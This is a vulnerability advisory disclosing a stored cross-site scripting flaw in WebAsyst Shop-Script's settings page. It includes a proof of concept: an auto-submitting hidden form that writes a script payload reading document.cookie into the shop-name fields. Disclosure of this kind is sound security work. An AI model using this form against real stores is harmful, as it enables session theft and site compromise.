Vulnerability ID: HTB22818 Reference: http://www.htbridge.ch/advisory/stored_xss_vulnerability_in_webasyst_shop_script.html Product: WebAsyst Shop-Script Vendor: WebAsyst, LLC ( http://www.shop-script.ru/ ) Vulnerable Version: Current version 2011.01.23 (shop-script.ru/demo/) Vendor Notification: 25 January 2011 Vulnerability Type: Stored XSS (Cross Site Scripting) Risk level: Medium Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/) Vulnerability Details: User can execute arbitrary JavaScript code within the vulnerable application. The vulnerability exists due to failure in the "SC/html/scripts/index.php" script to properly sanitize user-supplied input in "settingCONF_SHOP_NAME_en" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data. An attacker can use browser to exploit this vulnerability. The following PoC is available: <form action="http://host/SC/html/scripts/index.php?ukey=bsettings&settings_groupID=2" method="post" name="main" enctype="multipart/form-data" > <input type="hidden" name="uri" value="http://1" /> <input type="hidden" name="settingCONF_SHOP_NAME_ru" value='shopname"><script>alert(document.cookie)</script>'> <input type="hidden" name="settingCONF_SHOP_NAME_en" value='shopname"><script>alert(document.cookie)</script>'> <input type="hidden" name="settingCONF_SHOP_URL" value="klyne.webasyst.net/shop/"> <input type="hidden" name="settingCONF_GENERAL_EMAIL" value="klyne19@xxxxxxx"> <input type="hidden" name="settingCONF_ORDERS_EMAIL" value="klyne19@xxxxxxx"> <input type="hidden" name="settingCONF_ENABLE_CONFIRMATION_CODE" value="1"> <input type="hidden" name="setting_DATEFORMAT" value="DD.MM.YYYY"> <input type="hidden" name="setting_CONF_STOREFRONT_TIME_ZONE" value="51"> <input type="hidden" name="setting_CONF_FIRST_WEEKDAY" value="0"> <input type="hidden" name="settingCONF_DEFAULT_TITLE_ru" value="klyne"> <input type="hidden" name="settingCONF_DEFAULT_TITLE_en" value="klyne - Online Store"> <input type="hidden" name="settingCONF_HOMEPAGE_META_KEYWORDS_ru" value=""> <input type="hidden" name="settingCONF_HOMEPAGE_META_KEYWORDS_en" value=""> <input type="hidden" name="settingCONF_HOMEPAGE_META_DESCRIPTION_ru" value=""> <input type="hidden" name="settingCONF_HOMEPAGE_META_DESCRIPTION_en" value=""> <input type="hidden" name="settingCONF_GOOGLE_MAPS_API_KEY" value=""> <input type="hidden" name="settingCONF_WAREHOUSE_ADDRESS" value=""> <input type="hidden" name="setting_CONF_PRINTFORM_COMPANY_LOGO" value=""> <input type="hidden" name="save" value="Save"> </form> <script> document.main.submit(); </script>